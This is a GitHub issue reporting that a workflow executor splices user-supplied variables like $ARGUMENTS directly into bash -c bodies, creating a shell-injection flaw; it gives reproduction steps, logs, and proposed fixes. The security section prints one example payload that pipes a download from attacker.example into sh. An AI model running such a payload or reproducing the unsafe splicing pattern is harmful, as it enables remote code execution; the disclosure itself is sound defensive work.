Skip to content

Variable substitution in bash: nodes is shell-injection-unsafe (subsumes #1377) #1585

@ztech-gthb

Description

@ztech-gthb

Summary

  • What broke: Every variable substitution in a bash: node — $ARGUMENTS, $USER_MESSAGE, $nodeId.output, etc. — is spliced into the bash body literally before bash -c <body> runs. Any shell-meaningful character in the value (backtick, $, \, ", newline) becomes part of the shell program rather than a value passed to it. Workflows using these substitutions in bash: nodes crash on benign content (markdown code-blocks, single-quoted numbers from upstream nodes) and, worse, are wide open to shell-injection from any adapter delivering partly-untrusted text.
  • When it started: as far back as git blame on executor-shared.ts shows; not a regression, an original-design footgun.
  • Severity: major — security-relevant for any adapter where the user message isn't human-curated (GitHub comments, email, webhooks). Hard blocker for any custom bash:-node workflow.
  • Related: archon-fix-github-issue fails in fetch-issue when issue number output is shell-quoted #1377 reports the same root cause from a different angle — $nodeId.output carrying single-quoted AI output crashes the same bash -c parse. This issue subsumes it and proposes a fix that resolves both vectors.

Steps to Reproduce

  1. Create a workflow with a bash: node that references $ARGUMENTS:

    name: repro
    nodes:
      - id: parse
        bash: bash -c 'echo "$ARGUMENTS"'
  2. Trigger it with a user message containing a markdown code-block or any unbalanced backtick, e.g.:

    Edit `foo.py`: replace `bar` with:
    
    ```python
    def baz(): pass
    ```
    
  3. Observe the run fail at the parse node before echo is reached.

Expected vs Actual

  • Expected: $ARGUMENTS is delivered to the bash node as a value, available via "$ARGUMENTS" (or $1 etc.), regardless of the characters in the user message.
  • Actual: The user message is spliced into the bash source and re-parsed by the shell. Backticks, $(), \, etc. inside the message are interpreted as shell syntax. Benign markdown breaks the parse; malicious payloads execute.

User Flow

User / Adapter           Orchestrator              Workflow Executor          bash -c
──────────────           ────────────              ─────────────────          ───────
sends message ─────────▶ stores as user_message
(may originate           dispatches workflow ────▶ substitutes $ARGUMENTS
from email,                                        LITERALLY into bash:
GitHub issue body,                                 body string
webhook, etc.)                                                       ───────▶ [X] re-parses
                                                                              user content
                                                                              as shell code
                                                                              → backtick EOF
                                                                              or arbitrary
                                                                              command exec

Environment

  • Platform: any (reproduces on Web/CLI; same code path for all adapters)
  • Database: any (SQLite verified; PostgreSQL identical — substitution is dialect-independent)
  • Running in worktree? No (orthogonal — bug is in the executor, not isolation)
  • OS: any (verified macOS host, linux container)

Logs

Failure of the form (taken from a real custom-workflow run):

{
  "error": "DAG workflow 'ztech-marimo-edit' completed with failures: 'parse-args':
            Bash node 'parse-args' failed [exit 2]:
            bash: -c: line 59: unexpected EOF while looking for matching `"
}

The user message that triggered this is ~3.5 KB, two ```python fenced blocks, ~10 inline backticks — orchestrator-synthesized from a short prose user prompt. Crash is deterministic for the same input.

Security considerations

This is not only a robustness bug. Any adapter where the user message originates from an untrusted or partially-trusted source (e.g. GitHub issue/comment bodies, Slack DMs, email subjects/bodies, webhook payloads) becomes a command-injection vector for any workflow whose bash: nodes use $ARGUMENTS. A crafted payload of the form:

hello `curl https://attacker.example/x | sh` world

is spliced verbatim into the shell program. The currently-reported failure mode (unexpected EOF) is the benign outcome — bash parses, crashes, executes nothing. A balanced payload parses cleanly and runs. This applies equally to inline bash: bodies and to file-script invocations like bash script.sh "$ARGUMENTS" (the splicing happens in the outer bash -c line, before the script file is read).

Built-in workflows in .archon/workflows/defaults/ happen not to use $ARGUMENTS in bash: nodes (the variable is only threaded into AI nodes there, where it is delivered as a JSON string field — no shell on the path). So no shipped Archon workflow is exploitable today. But any user-authored or AI-generated custom workflow using the natural-looking pattern is. There is no warning in the docs.

Impact

  • Affected workflows/commands: any bash: node that references $ARGUMENTS or $USER_MESSAGE. Zero in defaults/ ship with this pattern; arbitrary in user/custom workflows.
  • Reproduction rate: Always (deterministic for any user_message containing an unbalanced backtick / $() / etc.).
  • Workaround available? Avoid $ARGUMENTS in bash: nodes; route the variable through a prompt: node instead. Or sanitize the user message upstream. Neither is documented; both are awkward.
  • Data loss risk? No (workflow fails before any node runs). Possible side-effects under attack (arbitrary commands), but no data-corruption from the bug itself.

Scope

  • Package(s) likely involved: workflows
  • Module: workflows:executor-shared (packages/workflows/src/executor-shared.ts:387-396, the substituteWorkflowVariables function), and the bash-node spawn site that consumes its output.

Proposed fixes

Two viable directions; either resolves the bug for all existing and future workflows transparently:

(a) Env-var pass-through (recommended). Stop substituting these variables into the bash source. Instead, set ARGUMENTS, USER_MESSAGE, and the per-node outputs as environment variables on the spawned bash process; let bash do its normal "$ARGUMENTS" / "$NODE_PARSE_OUTPUT" expansion at runtime. YAMLs continue to read bash: bash script.sh "$ARGUMENTS" and Just Work; scripts still receive $1 exactly as before. Implementation: in the bash-node spawn path, skip those keys in the substitution loop and merge them into the child's env. Naming convention for node-outputs ($NODE_<id>_OUTPUT or similar) needs a small bikeshed; the underlying mechanism is identical for both classes of variable.

(b) Shell-quote-on-substitute. Keep literal substitution but wrap the values in '…' with proper single-quote escaping before splicing. Less surprising for users who currently embed ${VAR}-suffix patterns in their YAMLs, but more brittle — every variable substituted into a bash: body now needs the quoting, and single-quote escaping has its own footguns.

I'd recommend (a): smaller blast radius, no behavioral change for compliant YAMLs, and the env-var hand-off matches how Archon already passes other context ($ARTIFACTS_DIR etc. are plain string values that authors expect to read with "$VAR" in bash). It also resolves #1377 with no separate fix — once values are passed by env rather than spliced, the '4' from that report no longer breaks the parse.

Either fix should also pick up a short paragraph in workflow-yaml-reference.md explaining the contract: variables are exposed as environment variables to bash: nodes; do not concatenate them into bash -c '…' literals. The current reference (workflow-yaml-reference.md:222-223) says only "Full user message string" — no mention of substitution semantics or shell-injection risk.

Out of scope

  • Whether the orchestrator-AI should be discouraged from synthesizing huge prompts when invoking workflows. The fix needs to be at the executor regardless — even short user messages can contain backticks.
  • Whether prompt: / command: nodes have the same class of bug. They don't reach a shell, so the same substitution is safe there. Worth a quick audit, separate change.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions